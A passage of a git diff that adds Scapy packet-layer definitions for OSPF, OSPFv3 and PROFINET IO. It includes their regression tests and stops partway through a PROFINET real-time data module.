+                   XIntField("sequence", b"\x00\x00\x00\x00"),
+                   StrLenField("authdata", b"\x00" * 16, length_from=lambda x: x.len)]
+
+    def post_build(self, p, pay):
+        p += pay
+        l = self.len
+
+        if l is None:
+            # length = len(sequence) + len(authdata) + len(payload)
+            l = len(p[3:])
+            p = p[:2] + struct.pack("!H", l) + p[3:]
+
+        return p
+
+_OSPF_LLSclasses = {1: "LLS_Extended_Options",
+                    2: "LLS_Crypto_Auth"}
+
+
+def _LLSGuessPayloadClass(p, **kargs):
+    """ Guess the correct LLS class for a given payload """
+
+    cls = conf.raw_layer
+    if len(p) >= 4:
+        typ = struct.unpack("!H", p[0:2])[0]
+        clsname = _OSPF_LLSclasses.get(typ, "LLS_Generic_TLV")
+        cls = globals()[clsname]
+    return cls(p, **kargs)
+
+
+class OSPF_LLS_Hdr(Packet):
+    name = "OSPF Link-local signaling"
+    fields_desc = [XShortField("chksum", None),
+                   # FIXME Length should be displayed in 32-bit words
+                   ShortField("len", None),
+                   PacketListField("llstlv", [], _LLSGuessPayloadClass)]
+
+    def post_build(self, p, pay):
+        p += pay
+        l = self.len
+        if l is None:
+            # Length in 32-bit words
+            l = len(p) // 4
+            p = p[:2] + struct.pack("!H", l) + p[4:]
+        if self.chksum is None:
+            c = checksum(p)
+            p = struct.pack("!H", c) + p[2:]
+        return p
+
+_OSPF_LStypes = {1: "router",
+                 2: "network",
+                 3: "summaryIP",
+                 4: "summaryASBR",
+                 5: "external",
+                 7: "NSSAexternal"}
+
+_OSPF_LSclasses = {1: "OSPF_Router_LSA",
+                   2: "OSPF_Network_LSA",
+                   3: "OSPF_SummaryIP_LSA",
+                   4: "OSPF_SummaryASBR_LSA",
+                   5: "OSPF_External_LSA",
+                   7: "OSPF_NSSA_External_LSA"}
+
+
+def ospf_lsa_checksum(lsa):
+    return fletcher16_checkbytes(b"\x00\x00" + lsa[2:], 16) # leave out age
+
+
+class OSPF_LSA_Hdr(Packet):
+    name = "OSPF LSA Header"
+    fields_desc = [ShortField("age", 1),
+                   OSPFOptionsField(),
+                   ByteEnumField("type", 1, _OSPF_LStypes),
+                   IPField("id", "192.168.0.0"),
+                   IPField("adrouter", "1.1.1.1"),
+                   XIntField("seq", 0x80000001),
+                   XShortField("chksum", 0),
+                   ShortField("len", 36)]
+
+    def extract_padding(self, s):
+        return "", s
+
+
+_OSPF_Router_LSA_types = {1: "p2p",
+                          2: "transit",
+                          3: "stub",
+                          4: "virtual"}
+
+
+class OSPF_Link(Packet):
+    name = "OSPF Link"
+    fields_desc = [IPField("id", "192.168.0.0"),
+                   IPField("data", "255.255.255.0"),
+                   ByteEnumField("type", 3, _OSPF_Router_LSA_types),
+                   ByteField("toscount", 0),
+                   ShortField("metric", 10),
+                   # TODO: define correct conditions
+                   ConditionalField(ByteField("tos", 0), lambda pkt: False),
+                   ConditionalField(ByteField("reserved", 0), lambda pkt: False),
+                   ConditionalField(ShortField("tosmetric", 0), lambda pkt: False)]
+
+    def extract_padding(self, s):
+        return "", s
+
+
+def _LSAGuessPayloadClass(p, **kargs):
+    """ Guess the correct LSA class for a given payload """
+    # This is heavily based on scapy-cdp.py by Nicolas Bareil and Arnaud Ebalard
+    
+    cls = conf.raw_layer
+    if len(p) >= 4:
+        typ = orb(p[3])
+        clsname = _OSPF_LSclasses.get(typ, "Raw")
+        cls = globals()[clsname]
+    return cls(p, **kargs)
+
+
+class OSPF_BaseLSA(Packet):
+    """ An abstract base class for Link State Advertisements """
+
+    def post_build(self, p, pay):
+        length = self.len
+        if length is None:
+            length = len(p)
+            p = p[:18] + struct.pack("!H", length) + p[20:]
+        if self.chksum is None:
+            chksum = ospf_lsa_checksum(p)
+            p = p[:16] + chksum + p[18:]
+        return p    # p+pay?
+
+    def extract_padding(self, s):
+        length = self.len
+        return "", s
+
+
+class OSPF_Router_LSA(OSPF_BaseLSA):
+    name = "OSPF Router LSA"
+    fields_desc = [ShortField("age", 1),
+                   OSPFOptionsField(),
+                   ByteField("type", 1),
+                   IPField("id", "1.1.1.1"),
+                   IPField("adrouter", "1.1.1.1"),
+                   XIntField("seq", 0x80000001),
+                   XShortField("chksum", None),
+                   ShortField("len", None),
+                   FlagsField("flags", 0, 8, ["B", "E", "V", "W", "Nt"]),
+                   ByteField("reserved", 0),
+                   FieldLenField("linkcount", None, count_of="linklist"),
+                   PacketListField("linklist", [], OSPF_Link,
+                                     count_from=lambda pkt: pkt.linkcount,
+                                     length_from=lambda pkt: pkt.linkcount * 12)]
+
+
+class OSPF_Network_LSA(OSPF_BaseLSA):
+    name = "OSPF Network LSA"
+    fields_desc = [ShortField("age", 1),
+                   OSPFOptionsField(),
+                   ByteField("type", 2),
+                   IPField("id", "192.168.0.0"),
+                   IPField("adrouter", "1.1.1.1"),
+                   XIntField("seq", 0x80000001),
+                   XShortField("chksum", None),
+                   ShortField("len", None),
+                   IPField("mask", "255.255.255.0"),
+                   FieldListField("routerlist", [], IPField("", "1.1.1.1"),
+                                    length_from=lambda pkt: pkt.len - 24)]
+
+
+class OSPF_SummaryIP_LSA(OSPF_BaseLSA):
+    name = "OSPF Summary LSA (IP Network)"
+    fields_desc = [ShortField("age", 1),
+                   OSPFOptionsField(),
+                   ByteField("type", 3),
+                   IPField("id", "192.168.0.0"),
+                   IPField("adrouter", "1.1.1.1"),
+                   XIntField("seq", 0x80000001),
+                   XShortField("chksum", None),
+                   ShortField("len", None),
+                   IPField("mask", "255.255.255.0"),
+                   ByteField("reserved", 0),
+                   X3BytesField("metric", 10),
+                   # TODO: Define correct conditions
+                   ConditionalField(ByteField("tos", 0), lambda pkt:False),
+                   ConditionalField(X3BytesField("tosmetric", 0), lambda pkt:False)]
+
+
+class OSPF_SummaryASBR_LSA(OSPF_SummaryIP_LSA):
+    name = "OSPF Summary LSA (AS Boundary Router)"
+    type = 4
+    id = "2.2.2.2"
+    mask = "0.0.0.0"
+    metric = 20
+
+
+class OSPF_External_LSA(OSPF_BaseLSA):
+    name = "OSPF External LSA (ASBR)"
+    fields_desc = [ShortField("age", 1),
+                   OSPFOptionsField(),
+                   ByteField("type", 5),
+                   IPField("id", "192.168.0.0"),
+                   IPField("adrouter", "2.2.2.2"),
+                   XIntField("seq", 0x80000001),
+                   XShortField("chksum", None),
+                   ShortField("len", None),
+                   IPField("mask", "255.255.255.0"),
+                   FlagsField("ebit", 0, 1, ["E"]),
+                   BitField("reserved", 0, 7),
+                   X3BytesField("metric", 20),
+                   IPField("fwdaddr", "0.0.0.0"),
+                   XIntField("tag", 0),
+                   # TODO: Define correct conditions
+                   ConditionalField(ByteField("tos", 0), lambda pkt:False),
+                   ConditionalField(X3BytesField("tosmetric", 0), lambda pkt:False)]
+
+
+class OSPF_NSSA_External_LSA(OSPF_External_LSA):
+    name = "OSPF NSSA External LSA"
+    type = 7
+
+
+class OSPF_DBDesc(Packet):
+    name = "OSPF Database Description"
+    fields_desc = [ShortField("mtu", 1500),
+                   OSPFOptionsField(),
+                   FlagsField("dbdescr", 0, 8, ["MS", "M", "I", "R", "4", "3", "2", "1"]),
+                   IntField("ddseq", 1),
+                   PacketListField("lsaheaders", None, OSPF_LSA_Hdr,
+                                    count_from = lambda pkt: None,
+                                    length_from = lambda pkt: pkt.underlayer.len - 24 - 8)]
+
+    def guess_payload_class(self, payload):
+        # check presence of LLS data block flag
+        if self.options & 0x10 == 0x10:
+            return OSPF_LLS_Hdr
+        else:
+            return Packet.guess_payload_class(self, payload)
+
+
+class OSPF_LSReq_Item(Packet):
+    name = "OSPF Link State Request (item)"
+    fields_desc = [IntEnumField("type", 1, _OSPF_LStypes),
+                   IPField("id", "1.1.1.1"),
+                   IPField("adrouter", "1.1.1.1")]
+
+    def extract_padding(self, s):
+        return "", s
+
+
+class OSPF_LSReq(Packet):
+    name = "OSPF Link State Request (container)"
+    fields_desc = [PacketListField("requests", None, OSPF_LSReq_Item,
+                                  count_from = lambda pkt:None,
+                                  length_from = lambda pkt:pkt.underlayer.len - 24)]
+
+
+class OSPF_LSUpd(Packet):
+    name = "OSPF Link State Update"
+    fields_desc = [FieldLenField("lsacount", None, fmt="!I", count_of="lsalist"),
+                   PacketListField("lsalist", None, _LSAGuessPayloadClass,
+                                count_from = lambda pkt: pkt.lsacount,
+                                length_from = lambda pkt: pkt.underlayer.len - 24)]
+
+
+class OSPF_LSAck(Packet):
+    name = "OSPF Link State Acknowledgement"
+    fields_desc = [PacketListField("lsaheaders", None, OSPF_LSA_Hdr,
+                                   count_from = lambda pkt: None,
+                                   length_from = lambda pkt: pkt.underlayer.len - 24)]
+
+    def answers(self, other):
+        if isinstance(other, OSPF_LSUpd):
+            for reqLSA in other.lsalist:
+                for ackLSA in self.lsaheaders:
+                    if (reqLSA.type == ackLSA.type and
+                        reqLSA.seq == ackLSA.seq):
+                        return 1
+        return 0
+
+
+#------------------------------------------------------------------------------
+# OSPFv3
+#------------------------------------------------------------------------------
+class OSPFv3_Hdr(Packet):
+    name = "OSPFv3 Header"
+    fields_desc = [ByteField("version", 3),
+                   ByteEnumField("type", 1, _OSPF_types),
+                   ShortField("len", None),
+                   IPField("src", "1.1.1.1"),
+                   IPField("area", "0.0.0.0"),
+                   XShortField("chksum", None),
+                   ByteField("instance", 0),
+                   ByteField("reserved", 0)]
+
+    def post_build(self, p, pay):
+        p += pay
+        l = self.len
+
+        if l is None:
+            l = len(p)
+            p = p[:2] + struct.pack("!H", l) + p[4:]
+
+        if self.chksum is None:
+            chksum = in6_chksum(89, self.underlayer, p)
+            p = p[:12] + struct.pack("!H", chksum) + p[14:]
+
+        return p
+
+
+class OSPFv3OptionsField(FlagsField):
+
+    def __init__(self, name="options", default=0, size=24,
+                 names=None):
+        if names is None:
+            names = ["V6", "E", "MC", "N", "R", "DC", "AF", "L", "I", "F"]
+        FlagsField.__init__(self, name, default, size, names)
+
+
+class OSPFv3_Hello(Packet):
+    name = "OSPFv3 Hello"
+    fields_desc = [IntField("intid", 0),
+                   ByteField("prio", 1),
+                   OSPFv3OptionsField(),
+                   ShortField("hellointerval", 10),
+                   ShortField("deadinterval", 40),
+                   IPField("router", "0.0.0.0"),
+                   IPField("backup", "0.0.0.0"),
+                   FieldListField("neighbors", [], IPField("", "0.0.0.0"),
+                                    length_from=lambda pkt: (pkt.underlayer.len - 36))]
+
+
+_OSPFv3_LStypes = {0x2001: "router",
+                   0x2002: "network",
+                   0x2003: "interAreaPrefix",
+                   0x2004: "interAreaRouter",
+                   0x4005: "asExternal",
+                   0x2007: "type7",
+                   0x0008: "link",
+                   0x2009: "intraAreaPrefix"}
+
+_OSPFv3_LSclasses = {0x2001: "OSPFv3_Router_LSA",
+                     0x2002: "OSPFv3_Network_LSA",
+                     0x2003: "OSPFv3_Inter_Area_Prefix_LSA",
+                     0x2004: "OSPFv3_Inter_Area_Router_LSA",
+                     0x4005: "OSPFv3_AS_External_LSA",
+                     0x2007: "OSPFv3_Type_7_LSA",
+                     0x0008: "OSPFv3_Link_LSA",
+                     0x2009: "OSPFv3_Intra_Area_Prefix_LSA"}
+
+
+class OSPFv3_LSA_Hdr(Packet):
+    name = "OSPFv3 LSA Header"
+    fields_desc = [ShortField("age", 1),
+                   ShortEnumField("type", 0x2001, _OSPFv3_LStypes),
+                   IPField("id", "0.0.0.0"),
+                   IPField("adrouter", "1.1.1.1"),
+                   XIntField("seq", 0x80000001),
+                   XShortField("chksum", 0),
+                   ShortField("len", 36)]
+
+    def extract_padding(self, s):
+        return "", s
+
+
+def _OSPFv3_LSAGuessPayloadClass(p, **kargs):
+    """ Guess the correct OSPFv3 LSA class for a given payload """
+
+    cls = conf.raw_layer
+
+    if len(p) >= 6:
+        typ = struct.unpack("!H", p[2:4])[0]
+        clsname = _OSPFv3_LSclasses.get(typ, "Raw")
+        cls = globals()[clsname]
+
+    return cls(p, **kargs)
+
+
+_OSPFv3_Router_LSA_types = {1: "p2p",
+                            2: "transit",
+                            3: "reserved",
+                            4: "virtual"}
+
+
+class OSPFv3_Link(Packet):
+    name = "OSPFv3 Link"
+    fields_desc = [ByteEnumField("type", 1, _OSPFv3_Router_LSA_types),
+                   ByteField("reserved", 0),
+                   ShortField("metric", 10),
+                   IntField("intid", 0),
+                   IntField("neighintid", 0),
+                   IPField("neighbor", "2.2.2.2")]
+
+    def extract_padding(self, s):
+        return "", s
+
+
+class OSPFv3_Router_LSA(OSPF_BaseLSA):
+    name = "OSPFv3 Router LSA"
+    fields_desc = [ShortField("age", 1),
+                   ShortEnumField("type", 0x2001, _OSPFv3_LStypes),
+                   IPField("id", "0.0.0.0"),
+                   IPField("adrouter", "1.1.1.1"),
+                   XIntField("seq", 0x80000001),
+                   XShortField("chksum", None),
+                   ShortField("len", None),
+                   FlagsField("flags", 0, 8, ["B", "E", "V", "W"]),
+                   OSPFv3OptionsField(),
+                   PacketListField("linklist", [], OSPFv3_Link,
+                                     length_from=lambda pkt:pkt.len - 24)]
+
+
+class OSPFv3_Network_LSA(OSPF_BaseLSA):
+    name = "OSPFv3 Network LSA"
+    fields_desc = [ShortField("age", 1),
+                   ShortEnumField("type", 0x2002, _OSPFv3_LStypes),
+                   IPField("id", "0.0.0.0"),
+                   IPField("adrouter", "1.1.1.1"),
+                   XIntField("seq", 0x80000001),
+                   XShortField("chksum", None),
+                   ShortField("len", None),
+                   ByteField("reserved", 0),
+                   OSPFv3OptionsField(),
+                   FieldListField("routerlist", [], IPField("", "0.0.0.1"),
+                                    length_from=lambda pkt: pkt.len - 24)]
+
+
+class OSPFv3PrefixOptionsField(FlagsField):
+
+    def __init__(self, name="prefixoptions", default=0, size=8,
+                 names=None):
+        if names is None:
+            names = ["NU", "LA", "MC", "P"]
+        FlagsField.__init__(self, name, default, size, names)
+
+
+class OSPFv3_Inter_Area_Prefix_LSA(OSPF_BaseLSA):
+    name = "OSPFv3 Inter Area Prefix LSA"
+    fields_desc = [ShortField("age", 1),
+                   ShortEnumField("type", 0x2003, _OSPFv3_LStypes),
+                   IPField("id", "0.0.0.0"),
+                   IPField("adrouter", "1.1.1.1"),
+                   XIntField("seq", 0x80000001),
+                   XShortField("chksum", None),
+                   ShortField("len", None),
+                   ByteField("reserved", 0),
+                   X3BytesField("metric", 10),
+                   FieldLenField("prefixlen", None, length_of="prefix", fmt="B"),
+                   OSPFv3PrefixOptionsField(),
+                   ShortField("reserved2", 0),
+                   IP6PrefixField("prefix", "2001:db8:0:42::/64", wordbytes=4, length_from=lambda pkt: pkt.prefixlen)]
+
+
+class OSPFv3_Inter_Area_Router_LSA(OSPF_BaseLSA):
+    name = "OSPFv3 Inter Area Router LSA"
+    fields_desc = [ShortField("age", 1),
+                   ShortEnumField("type", 0x2004, _OSPFv3_LStypes),
+                   IPField("id", "0.0.0.0"),
+                   IPField("adrouter", "1.1.1.1"),
+                   XIntField("seq", 0x80000001),
+                   XShortField("chksum", None),
+                   ShortField("len", None),
+                   ByteField("reserved", 0),
+                   OSPFv3OptionsField(),
+                   ByteField("reserved2", 0),
+                   X3BytesField("metric", 1),
+                   IPField("router", "2.2.2.2")]
+
+
+class OSPFv3_AS_External_LSA(OSPF_BaseLSA):
+    name = "OSPFv3 AS External LSA"
+    fields_desc = [ShortField("age", 1),
+                   ShortEnumField("type", 0x4005, _OSPFv3_LStypes),
+                   IPField("id", "0.0.0.0"),
+                   IPField("adrouter", "1.1.1.1"),
+                   XIntField("seq", 0x80000001),
+                   XShortField("chksum", None),
+                   ShortField("len", None),
+                   FlagsField("flags", 0, 8, ["T", "F", "E"]),
+                   X3BytesField("metric", 20),
+                   FieldLenField("prefixlen", None, length_of="prefix", fmt="B"),
+                   OSPFv3PrefixOptionsField(),
+                   ShortEnumField("reflstype", 0, _OSPFv3_LStypes),
+                   IP6PrefixField("prefix", "2001:db8:0:42::/64", wordbytes=4, length_from=lambda pkt: pkt.prefixlen),
+                   ConditionalField(IP6Field("fwaddr", "::"), lambda pkt: pkt.flags & 0x02 == 0x02),
+                   ConditionalField(IntField("tag", 0), lambda pkt: pkt.flags & 0x01 == 0x01),
+                   ConditionalField(IPField("reflsid", 0), lambda pkt: pkt.reflstype != 0)]
+
+
+class OSPFv3_Type_7_LSA(OSPFv3_AS_External_LSA):
+    name = "OSPFv3 Type 7 LSA"
+    type = 0x2007
+
+
+class OSPFv3_Prefix_Item(Packet):
+    name = "OSPFv3 Link Prefix Item"
+    fields_desc = [FieldLenField("prefixlen", None, length_of="prefix", fmt="B"),
+                   OSPFv3PrefixOptionsField(),
+                   ShortField("metric", 10),
+                   IP6PrefixField("prefix", "2001:db8:0:42::/64", wordbytes=4, length_from=lambda pkt: pkt.prefixlen)]
+
+    def extract_padding(self, s):
+        return "", s
+
+
+class OSPFv3_Link_LSA(OSPF_BaseLSA):
+    name = "OSPFv3 Link LSA"
+    fields_desc = [ShortField("age", 1),
+                   ShortEnumField("type", 0x0008, _OSPFv3_LStypes),
+                   IPField("id", "0.0.0.0"),
+                   IPField("adrouter", "1.1.1.1"),
+                   XIntField("seq", 0x80000001),
+                   XShortField("chksum", None),
+                   ShortField("len", None),
+                   ByteField("prio", 1),
+                   OSPFv3OptionsField(),
+                   IP6Field("lladdr", "fe80::"),
+                   FieldLenField("prefixes", None, count_of="prefixlist", fmt="I"),
+                   PacketListField("prefixlist", None, OSPFv3_Prefix_Item,
+                                  count_from = lambda pkt: pkt.prefixes)]
+
+
+class OSPFv3_Intra_Area_Prefix_LSA(OSPF_BaseLSA):
+    name = "OSPFv3 Intra Area Prefix LSA"
+    fields_desc = [ShortField("age", 1),
+                   ShortEnumField("type", 0x2009, _OSPFv3_LStypes),
+                   IPField("id", "0.0.0.0"),
+                   IPField("adrouter", "1.1.1.1"),
+                   XIntField("seq", 0x80000001),
+                   XShortField("chksum", None),
+                   ShortField("len", None),
+                   FieldLenField("prefixes", None, count_of="prefixlist", fmt="H"),
+                   ShortEnumField("reflstype", 0, _OSPFv3_LStypes),
+                   IPField("reflsid", "0.0.0.0"),
+                   IPField("refadrouter", "0.0.0.0"),
+                   PacketListField("prefixlist", None, OSPFv3_Prefix_Item,
+                                  count_from = lambda pkt: pkt.prefixes)]
+
+
+class OSPFv3_DBDesc(Packet):
+    name = "OSPFv3 Database Description"
+    fields_desc = [ByteField("reserved", 0),
+                   OSPFv3OptionsField(),
+                   ShortField("mtu", 1500),
+                   ByteField("reserved2", 0),
+                   FlagsField("dbdescr", 0, 8, ["MS", "M", "I", "R"]),
+                   IntField("ddseq", 1),
+                   PacketListField("lsaheaders", None, OSPFv3_LSA_Hdr,
+                                    count_from = lambda pkt:None,
+                                    length_from = lambda pkt:pkt.underlayer.len - 28)]
+
+
+class OSPFv3_LSReq_Item(Packet):
+    name = "OSPFv3 Link State Request (item)"
+    fields_desc = [ShortField("reserved", 0),
+                   ShortEnumField("type", 0x2001, _OSPFv3_LStypes),
+                   IPField("id", "1.1.1.1"),
+                   IPField("adrouter", "1.1.1.1")]
+
+    def extract_padding(self, s):
+        return "", s
+
+
+class OSPFv3_LSReq(Packet):
+    name = "OSPFv3 Link State Request (container)"
+    fields_desc = [PacketListField("requests", None, OSPFv3_LSReq_Item,
+                                  count_from = lambda pkt:None,
+                                  length_from = lambda pkt:pkt.underlayer.len - 16)]
+
+
+class OSPFv3_LSUpd(Packet):
+    name = "OSPFv3 Link State Update"
+    fields_desc = [FieldLenField("lsacount", None, fmt="!I", count_of="lsalist"),
+                   PacketListField("lsalist", [], _OSPFv3_LSAGuessPayloadClass,
+                                count_from = lambda pkt:pkt.lsacount,
+                                length_from = lambda pkt:pkt.underlayer.len - 16)]
+
+
+class OSPFv3_LSAck(Packet):
+    name = "OSPFv3 Link State Acknowledgement"
+    fields_desc = [PacketListField("lsaheaders", None, OSPFv3_LSA_Hdr,
+                                   count_from = lambda pkt:None,
+                                   length_from = lambda pkt:pkt.underlayer.len - 16)]
+
+
+bind_layers(IP, OSPF_Hdr, proto=89)
+bind_layers(OSPF_Hdr, OSPF_Hello, type=1)
+bind_layers(OSPF_Hdr, OSPF_DBDesc, type=2)
+bind_layers(OSPF_Hdr, OSPF_LSReq, type=3)
+bind_layers(OSPF_Hdr, OSPF_LSUpd, type=4)
+bind_layers(OSPF_Hdr, OSPF_LSAck, type=5)
+DestIPField.bind_addr(OSPF_Hdr, "224.0.0.5")
+
+bind_layers(IPv6, OSPFv3_Hdr, nh=89)
+bind_layers(OSPFv3_Hdr, OSPFv3_Hello, type=1)
+bind_layers(OSPFv3_Hdr, OSPFv3_DBDesc, type=2)
+bind_layers(OSPFv3_Hdr, OSPFv3_LSReq, type=3)
+bind_layers(OSPFv3_Hdr, OSPFv3_LSUpd, type=4)
+bind_layers(OSPFv3_Hdr, OSPFv3_LSAck, type=5)
+DestIP6Field.bind_addr(OSPFv3_Hdr, "ff02::5")
+
+
+if __name__ == "__main__":
+    from scapy.main import interact
+    interact(mydict=globals(), mybanner="OSPF extension %s" % EXT_VERSION)
diff --git a/scapy/contrib/ospf.uts b/scapy/contrib/ospf.uts
new file mode 100644
index 0000000..fc5ccb2
--- /dev/null
+++ b/scapy/contrib/ospf.uts
@@ -0,0 +1,28 @@
+# OSPF Related regression tests
+#
+# Type the following command to launch start the tests:
+# $ test/run_tests -P "load_contrib('ospf')" -t scapy/contrib/ospf.uts
+
++ OSPF
+
+= OSPF, basic instanciation
+
+data = b'\x01\x00^\x00\x00\x05\x00\xe0\x18\xb1\x0c\xad\x08\x00E\xc0\x00T\x08\x19\x00\x00\x01Ye\xc2\xc0\xa8\xaa\x08\xe0\x00\x00\x05\x02\x04\x00@\xc0\xa8\xaa\x08\x00\x00\x00\x01\x96\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x03\xe2\x02\x01\xc0\xa8\xaa\x08\xc0\xa8\xaa\x08\x80\x00\r\xc3%\x06\x00$\x02\x00\x00\x01\xc0\xa8\xaa\x00\xff\xff\xff\x00\x03\x00\x00\n'
+
+p = Ether(data)
+
+assert (p[OSPF_LSUpd][OSPF_Router_LSA].age == 994)
+assert (p[OSPF_LSUpd][OSPF_Router_LSA].type == 1)
+assert (p[OSPF_LSUpd][OSPF_Router_LSA].id == '192.168.170.8')
+assert (p[OSPF_LSUpd][OSPF_Router_LSA].adrouter == '192.168.170.8')
+assert (p[OSPF_LSUpd][OSPF_Router_LSA].seq == 0x80000dc3)
+assert (p[OSPF_LSUpd][OSPF_Router_LSA].chksum == 0x2506)
+assert (p[OSPF_LSUpd][OSPF_Router_LSA].len == 36)
+assert (p[OSPF_LSUpd][OSPF_Router_LSA].reserved == 0)
+assert (p[OSPF_LSUpd][OSPF_Router_LSA].linkcount == 1)
+
+assert (p[OSPF_LSUpd][OSPF_Router_LSA].linklist[0][OSPF_Link].id == '192.168.170.0')
+assert (p[OSPF_LSUpd][OSPF_Router_LSA].linklist[0][OSPF_Link].data == '255.255.255.0')
+assert (p[OSPF_LSUpd][OSPF_Router_LSA].linklist[0][OSPF_Link].type == 3)
+assert (p[OSPF_LSUpd][OSPF_Router_LSA].linklist[0][OSPF_Link].toscount == 0)
+assert (p[OSPF_LSUpd][OSPF_Router_LSA].linklist[0][OSPF_Link].metric == 10)
diff --git a/scapy/contrib/pnio.py b/scapy/contrib/pnio.py
new file mode 100644
index 0000000..7ff6e5f
--- /dev/null
+++ b/scapy/contrib/pnio.py
@@ -0,0 +1,79 @@
+# This file is part of Scapy
+# Scapy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 2 of the License, or
+# any later version.
+#
+# Scapy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with Scapy. If not, see <http://www.gnu.org/licenses/>.
+
+# Copyright (C) 2016 Gauthier Sebaux
+
+# scapy.contrib.description = ProfinetIO base layer
+# scapy.contrib.status = loads
+
+"""
+A simple and non exhaustive Profinet IO layer for scapy
+"""
+
+# Scapy imports
+from __future__ import absolute_import
+from scapy.all import Packet, bind_layers, Ether, UDP
+from scapy.fields import XShortEnumField
+from scapy.modules.six.moves import range
+
+# Some constants
+PNIO_FRAME_IDS = {
+    0x0020:"PTCP-RTSyncPDU-followup",
+    0x0080:"PTCP-RTSyncPDU",
+    0xFC01:"Alarm High",
+    0xFE01:"Alarm Low",
+    0xFEFC:"DCP-Hello-Req",
+    0xFEFD:"DCP-Get-Set",
+    0xFEFE:"DCP-Identify-ReqPDU",
+    0xFEFF:"DCP-Identify-ResPDU",
+    0xFF00:"PTCP-AnnouncePDU",
+    0xFF20:"PTCP-FollowUpPDU",
+    0xFF40:"PTCP-DelayReqPDU",
+    0xFF41:"PTCP-DelayResPDU-followup",
+    0xFF42:"PTCP-DelayFuResPDU",
+    0xFF43:"PTCP-DelayResPDU",
+    }
+for i in range(0x0100, 0x1000):
+    PNIO_FRAME_IDS[i] = "RT_CLASS_3"
+for i in range(0x8000, 0xC000):
+    PNIO_FRAME_IDS[i] = "RT_CLASS_1"
+for i in range(0xC000, 0xFC00):
+    PNIO_FRAME_IDS[i] = "RT_CLASS_UDP"
+for i in range(0xFF80, 0xFF90):
+    PNIO_FRAME_IDS[i] = "FragmentationFrameID"
+
+#################
+## PROFINET IO ##
+#################
+
+class ProfinetIO(Packet):
+    """Basic PROFINET IO dispatcher"""
+    fields_desc = [XShortEnumField("frameID", 0, PNIO_FRAME_IDS)]
+    overload_fields = {
+        Ether: {"type": 0x8892},
+        UDP: {"dport": 0x8892},
+        }
+
+    def guess_payload_class(self, payload):
+        # For frameID in the RT_CLASS_* range, use the RTC packet as payload
+        if (self.frameID >= 0x0100 and self.frameID < 0x1000) or \
+                (self.frameID >= 0x8000 and self.frameID < 0xFC00):
+            from scapy.contrib.pnio_rtc import PNIORealTime
+            return PNIORealTime
+        else:
+            return Packet.guess_payload_class(self, payload)
+
+bind_layers(Ether, ProfinetIO, type=0x8892)
+bind_layers(UDP, ProfinetIO, dport=0x8892)
+
diff --git a/scapy/contrib/pnio.uts b/scapy/contrib/pnio.uts
new file mode 100644
index 0000000..906b46f
--- /dev/null
+++ b/scapy/contrib/pnio.uts
@@ -0,0 +1,32 @@
+% ProfinetIO layer test campaign
+
++ Syntax check
+= Import the ProfinetIO layer
+from scapy.contrib.pnio import *
+
+
++ Check DCE/RPC layer
+
+= ProfinetIO default values
+raw(ProfinetIO()) == b'\x00\x00'
+
+= ProfinetIO overloads Ethertype
+p = Ether() / ProfinetIO()
+p.type == 0x8892
+
+= ProfinetIO overloads UDP dport
+p = UDP() / ProfinetIO()
+p.dport == 0x8892
+
+= Ether guesses ProfinetIO as payload class
+p = Ether(hex_bytes('ffffffffffff00000000000088920102'))
+p.payload.__class__ == ProfinetIO and p.frameID == 0x0102
+
+= UDP guesses ProfinetIO as payload class
+p = UDP(hex_bytes('12348892000a00000102'))
+p.payload.__class__ == ProfinetIO and p.frameID == 0x0102
+
+= ProfinetIO guess payload to PNIORealTime
+p = UDP(hex_bytes('12348892000c000080020102'))
+p.payload.payload.__class__.__name__ == 'PNIORealTime' and p.frameID == 0x8002
+
diff --git a/scapy/contrib/pnio_rtc.py b/scapy/contrib/pnio_rtc.py
new file mode 100644
index 0000000..d9533c7
--- /dev/null
+++ b/scapy/contrib/pnio_rtc.py
@@ -0,0 +1,480 @@
+# This file is part of Scapy
+# Scapy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 2 of the License, or
+# any later version.
+#
+# Scapy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with Scapy. If not, see <http://www.gnu.org/licenses/>.
+
+# Copyright (C) 2016 Gauthier Sebaux
+
+# scapy.contrib.description = ProfinetIO Real-Time Cyclic (RTC)
+# scapy.contrib.status = loads
+
+"""
+PROFINET IO layers for scapy which correspond to Real-Time Cyclic data
+"""
+
+# external imports
+from __future__ import absolute_import
+import math
+import struct
+
+# Scapy imports
+from scapy.all import Packet, bind_layers, Ether, UDP, Field, conf
+from scapy.fields import BitEnumField, BitField, ByteField,\
+        FlagsField,\
+        PacketListField,\
+        ShortField, StrFixedLenField,\
+        XBitField, XByteField
+
+# local imports
+from scapy.contrib.pnio import ProfinetIO
+from scapy.compat import orb
+from scapy.modules.six.moves import range
+
+
+#####################################
+## PROFINET Real-Time Data Packets ##
+#####################################
+
+class PNIORealTimeIOxS(Packet):
+    """IOCS and IOPS packets for PROFINET Real-Time payload"""
+    name = "PNIO RTC IOxS"
+    fields_desc = [
+        BitEnumField("dataState", 1, 1, ["bad", "good"]),
+        BitEnumField("instance", 0, 2, ["subslot", "slot", "device", "controller"]),
+        XBitField("reserved", 0, 4),
+        BitField("extension", 0, 1),
+        ]
+
+    def extract_padding(self, s):
+        return None, s      # No extra payload
+
+
+class PNIORealTimeRawData(Packet):
+    """Raw data packets for PROFINET Real-Time payload.
+
+    It's a configurable packet whose config only includes a fix length. The
+    config parameter must then be a dict {"length": X}.
+
+    PROFINET IO specification impose this packet to be followed with an IOPS
+    (PNIORealTimeIOxS)"""
+    __slots__ = ["_config"]
+    name = "PNIO RTC Raw data"
+    fields_desc = [
+        StrFixedLenField("load", "", length_from=lambda p: p[PNIORealTimeRawData].length()),
+        ]
+
+    def __init__(self, _pkt="", post_transform=None, _internal=0, _underlayer=None, config=None, **fields):
+        """
+        length=None means that the length must be managed by the user. If it's
+        defined, the field will always be length-long (padded with b"\\x00" if
+        needed)
+        """
+        self._config = config
